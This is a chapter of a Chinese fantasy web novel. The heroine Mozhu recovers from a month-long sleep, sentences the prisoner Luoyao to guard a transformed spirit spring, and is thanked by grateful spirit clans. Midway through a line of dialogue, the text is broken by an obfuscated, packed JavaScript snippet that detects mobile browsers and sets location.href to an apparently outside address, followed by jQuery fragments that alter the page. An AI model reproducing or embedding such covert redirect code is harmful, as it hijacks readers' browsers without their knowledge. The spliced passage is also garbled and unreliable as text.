“嘶”


    藤蔓床上的少女不安地蹙了蹙眉，放置身侧的手指动了动，现在的墨姝感觉身处迷雾之中，记忆断断续续的。


    眼皮重得有些睁不开，她现在是在哪？


    一片死寂。


    黑暗。


    “阁主！”


    “墨姝！”


    “快叫人……叫人”


    ……


    “大人？”


    手指从一开始的轻微颤动变成了整个手掌蜷握，呼吸变得更为稳健，在一番挣扎之后，意识开始回笼。


    墨姝睁开了眼睛，眼前的世界明亮了。


    眼前环境陌生，房间布置上有很多不知名的草木作装饰，大体与平常住的是差不多的。


    “阁主！你终于醒了！”如练扑到床边，拽着墨姝的手不松开。


    刚醒过来的墨姝没什么力气，就不挣脱了。


    眼睛又闭下，进入识海，感受到身体没有什么问题了之后重新睁开眼，问道：“我这次睡了多久？”


    如练：“阁主这次睡了足足一个月”


    墨姝喃喃道：“一个月呀……”怪不得那些事就这么给想了起来……


    “墨姝，你可算是醒了，这些天我可是拿了不少宝物出来，你可要记住这份恩情哦~”黎昭祁叫来了人，进门看着墨姝已经坐了起来，笑道。


    墨姝道：“你什么时候变得这么小气了？”


    如练大声道：“这可都是灵族给的，就你还想抢功劳”


    黎昭祁也没反驳，道：“现在感觉怎么样？”


    墨姝看了看跟在后面的越璟的人，沉吟，“感觉……睡得挺好的”说着下床，动了动手臂，躺了这么久脖子。


    “那就是没什么问题了”启明走上前来，“我来给大人把一下脉”


    墨姝伸过手，启明手指搭上，轻轻地点了点头，“大人已无大碍”，墨姝觉得这话是说给还在守着的这几个人说的，因为后头那几个往这边盯着的样子很难不忽视。


    “此事真得要感谢祭司大人，大人”狂渊也走了上来，启明表情有些不太自然。


    墨姝点了点头，“的确是要感谢我的”


    狂渊明显一僵，墨姝道：“帮你们灵族这么大忙，我也是需要点报酬的”


    “对呀，帮你们做了这么多，不给点什么也说不过去吧”黎昭祁实时地补充道。


    狂渊无措道：“祭司大人想要些什么报仇呢？”


    墨姝手抵下巴思考道：“我还没想好，你先记着吧”


    狂渊沉重地点了点头，“哎，祭司大人！大人怎么样了？”潜风气喘吁吁地跑了过来。


    狂渊问道：“你干什么去了？”


    墨姝秀眉一抬，看着二人，潜风抖了抖袖袍，“师兄你是不知道，外面围得人实在是太多了，我好不容易从流萤丘赶过来，又好不容挤了进来，这可真是好多年都没见到问道庭外有这么多人了”


    潜风看着此刻的墨姝，接过启明的眼神，放心道：“看来祭司大人是真没事了呀”


    墨姝睡得太久了，脑子还没有完全的清明，但经过众人这么七嘴八舌的一阵，脑子已经清明的七七八八了。想起晕倒前的事，问道：“洛瑶在哪？”


    这话一出来，屋内的气氛也变了一瞬。


    尤其是如练，表情最为夸张，此刻还是忿忿地说了几句。


    启明上前一步，“洛瑶现下被关押着，大人想要去看看？”


    “现在吧，我想现在去看看”启明顿了顿，还是带路。


    ……


    大牢中，牢狱中一名妙龄少女正坐着地上，没有被铁链，也没有缚仙索。


    洛瑶马上就看到了前来的两人，“你没事？”


    墨姝走到牢门，“活得挺好的”转头对启明道：“我想和她单独聊聊”


    启明微愣之后向出口走去。


    墨姝在牢门处走了一圈，细细看着牢的结构，“你在看什么？”


    “看这个牢不牢固”


    洛瑶不解，倏忽一笑，“莫不是你还怕我逃出去？”


    墨姝不答，瞅了瞅脚下，看着还挺干净的，于是席地而坐，“你就没有什么想问的吗？”


    突兀的，洛瑶沉默了半晌，“你是怎么破阵的？”


    “我并没有破阵”


    洛瑶：“那怎么你没事？”


    墨姝双手交叠于胸前，冷静道：“湮圣阵的确启动了就无法停止，除非完成献祭”


    “可你不是……”


    “没错，我献祭了，所以先前的功德都没了”墨姝摊手道：“现在是两手空空了，本来还准备升下仙的”


    洛瑶面部有些不自然，好像抽了抽嘴角，“但是这次你好像也赚了不少功德吧”


    墨姝如梦初醒般点了点头，笑道：“没错，这叫有得必有失”


    “我这段时间在牢里也好好地想了想，想着如果不是真的看到那天的场景，我真的要怀疑你是故意入阵的”洛瑶说完此话有意地往墨姝脸上看去。


    墨姝还是笑道：“没准真是呢”


    洛瑶：“……说吧，你来找我干嘛？”


    墨姝：“来兴师问罪的”


    洛瑶不在乎道：“我就知道，我犯了这么大的事，要不是师父他们拦着，我早就被外面那群人给碎尸万段了”


    墨姝：“你这师父可真待你不薄”洛瑶不语。


    “说起来因为你的师父我也改变了一下原先的计划”


    洛瑶怔怔地看着。


    墨姝放下手，撑在地上，道：“听潜风说了神谕的事情，我相信这些年肯定不乏有跟你有同样想法的人，但你是第一个也是唯一一个这么做的。


    你做了周密的计划，找到同样因神谕而遭遇灾祸的寻宝鼬合作，让他替你盗取玄令，虽然没想到后面落入了别人的手里，但总归是成功和我接触上了，后面又故意暴露让我前往灵族进入湮圣阵。对吧？”


    墨姝看着洛瑶道：“只是我有一件事不知道，你和宋深安那些商人是怎么回事？”


    洛瑶没有遮掩，一五一十道：“……在外修行时，我偶然救过宋深安，云藤一族也有商路，自从那些人没了之后，就废了。我一时兴起想死马当活马医没想到真给盘活了，后面我的修炼需要更多灵器丹药，还有大量的钱财，就想到了倒卖……这些大部分都是交给宋深安去办，没想到还真给办成了”


    洛瑶冷笑，懒懒道：“都说商人重利，但是相比起残杀同族的狂渊而言，还真是讽刺啊”


    “原来如此，我也算弄明白了”墨姝点头，道：“总之你不服天不怕地的劲我还挺喜欢的，所以我准备惩罚你——去看守灵泉”


    “这就是对你的惩罚”她缓缓道。


    洛瑶惊道：“你……”


    “不用这么吃惊，现在的灵泉已经不一样了，我在水下设了阵，在此的恶气可以被转化为灵气”


    洛瑶：“这怎么可能？！”


    墨姝：“你竟然可以吸收恶念，我为什么不能转化恶气？”边说着，边抬起右手，腕间的手串在遮盖的衣料被掀开后，露出黯淡的模样。“这里面有你的族人，我会将他们带走，等到恶念被清除之后他们可以重新进入轮回”


    洛瑶不敢置信地盯着眼前的手串，又移向手串的主人，震惊的表情变得平静了很多。


    “灵泉改变之后，留在这里的阵法需要人镇守，而这里遗留下了不少恶念，你对此很了解，是最适合的人选”


    洛瑶突然不知道该说些什么了，低下了头。


    “……我不是一个心怀善念的人”


    “不”墨姝打断了她，“你不是不心怀善念，你是爱憎分明”


    洛瑶怔怔地看着，身体动了动，想要起来，突然，周围闪现光芒，原本空无一物的脚下突然出现链条。


    洛瑶调整了一下姿势，离得近了一些，哑声道：“你为什么要这样？”


    墨姝站了起来，手抚着铁栏，“我有自己的私心，在保证我的利益的情况下多做件好事也无所谓”


    洛瑶仰头看着墨姝，沉默半晌之后，挣扎起身，嘴角扬了一点，笑道：“如果我们早点认识没准可以成为朋友”


    “我同意，去守阵”


    “很好”


    灵泉这件事算是告一段落了，问道庭的三位也是一再请求在灵族再修养一段时间，墨姝觉得不错，就留了下来。


    对于那天，见证的人很多，墨姝这行人也受到了灵族人的热情款待。


    “祭司大人，这是我们炖的仙草汤，给您补补身体”一个的小人举着一口比人还大的锅堵在问道庭的大门道。


    “大人，这可是我们专门去孩子他大姑妈家那片崖采的，还热乎呢”小人旁边头戴布巾扎有某种禽类羽毛的女人补充道。


    “大人看看这个，这可是我上回去祁水专门给您买的大补丸，只要一颗，药到病除”


    “大人，看看我的……”


    一旁的潜风挨个介绍过去，“这是黄大婶一家，这是溟牛一族的阿牛，这是……”墨姝跳了跳眉，纵使想到了些。


    “还有”潜风停顿了一下，郑重介绍道：“这二位分别是寻宝鼬和蚀骨蝶的两位族长，后面的是族人”


    潜风微微让开了一些，身披黄色大衣的老者和一名身穿黑红裙装的女子上前走了一步，齐声道：“叩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202692|197257||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢祭司大人！”


    黄衣老者激动万分，眼下已有泪光在闪烁，黑红裙子的女子对比下稍显平静。


    墨姝连忙止住二人的动作，但是二人坚定地要行礼，只能待礼成再扶起二人，安慰道：“事情已经过去了，后面不会再有这样的事情发生了，望二位珍重”


    正要松手，老者一把抓住墨姝的衣袖，墨姝疑惑地看着老者的那只手，老者回头道：“还不快上来见过祭司大人”


    一个浑身毛球的小孩上前，头低得很低。


    一旁抱拳站立的如练猛地上前，被墨姝拦住，她打量道：“你是偷了我东西的那只寻宝鼬？”


    小孩点点头。


    “果然，那你现在是来道歉的吗？”


    大家纷纷聚精会神地看着。


    小孩抬起了头，撞上墨姝的视线，又害怕地移开视线，“对不起！”小孩大大的一鞠，再次撞上墨姝的视线，“但是我不后悔！”


    老者脸色一变，将小孩拉至身后，“大人勿怪，这孩子没有恶意的”


    “让他说完”墨姝蹲下身，将小孩拉近一点，道：“为什么不后悔？”


    “因为……如果不，不偷，祭司大人就不会知道这件事！”小孩一股脑说完，将头抬起，目光直视住了墨姝。


    老者再次向前挡了一点，后面的族人也不知不觉靠近了一点，将那个孩子围住。


    黎昭祁以扇掩面，有意思地看着。


    “哈”墨姝突然低笑了一声，笑道：“你们是不是以为我会惩罚这个孩子？”


    老者动作僵住，微愣道：“无论如何这孩子的确有错，大人如果要罚，老朽不会阻拦，但是作为族长，我没有尽到看管的责任，我愿意为这孩子受过”


    人头攒动，墨姝负手站起，道“的确我要罚他，因为他偷了东西，但是……如果不是他，我又怎么会得知你们的遭遇呢？”


    背后的手伸到袖口，碰了碰手串，“所以抵过了”墨姝拿出一颗药丸，“这个有利于你的修行”


    小孩不敢置信地看着，接过药丸，欣喜万分，“谢大人！”


    “你这偷盗的本事有一手，日后有机会说不定我会有需要你帮忙的地方，好好修炼吧”


    一时间，人群爆发出一阵欢呼，“千灵祭司！”接着更大的欢呼响起，有些震耳欲聋，不时传出些赞扬几人的话语。


    墨姝身旁的几人无一不是面带惊喜。


    少女负着的手落了下来，对比下面色比较平静，嘴角还是弯了些。


    这几天的情况无一都是这样，陆续有人来问道庭拜访。


    只是人确实有点多了，但黎昭祁倒是乐此不疲，还认识了不少灵族商人，扬言要发展出一条比他老爹那条商路更赚的线路。


    如练则是在一次观摩了灵族斗台比拼之后就成天在那守着，到很晚才回来。


    墨姝倒是没怎么出去过，在琉玥和越璟师姐弟返回山门之后就更没怎么出去了，大部分时间都在问道庭客房。


    虽然躺了一个月，但并不妨碍墨姝再接着躺，所以每逢有人来找，潜风就是一句“在睡觉呢”


    这天，墨姝刚刚起来，“祭司大人”


    今天怎么没有潜风在外拦着。


    伸了伸胳膊，道：“休息呢”


    “祭司大人，是我”


    “潜风？进来”


    潜风推门进来，“祭司大人，下床了呀”


    墨姝咳了咳，“说正事”


    潜风尬笑了两声，自顾自地给自己找了一个位置坐了下来，道：“我们灵族祭典三日后开始，大家都想让祭司大人您去看看，这不我就来请您啦”


    墨姝神色平平，潜风又道：“这可是我们灵族难得的盛会，您可一定得来呀！”


    对于灵族祭典，墨姝可是早有耳闻，这几天因前段时间发生的事情狂渊，启明相继闭关，祭典这事就全权交给潜风长老了。


    墨姝：“好呀，我来”最近也躺得够久了，也该出去溜达溜达了。


    “那太好了，我马上去跟大家伙讲讲”话一说完，潜风就消失在了门口。


    墨姝看着，歪了歪头，潜风长老真是一位“精神抖擞”的长老。


    看着外面天色不错，墨姝也走出了房门。


    墨姝所住的这个房子在问道庭比较偏的位置，有利于养伤，从房内出来之后，四处都是竹林，十分静谧，而一墙之隔外则是火红的枫林，十分绚烂。


    也只有在灵族才能看到这样玄妙无比的景象了。


    墨姝拾阶而下，折了一根翠竹，对空比划了两招，天旋地转，落叶纷飞而起，竹锋破掉重重阻碍如行云流水，潇洒肆意。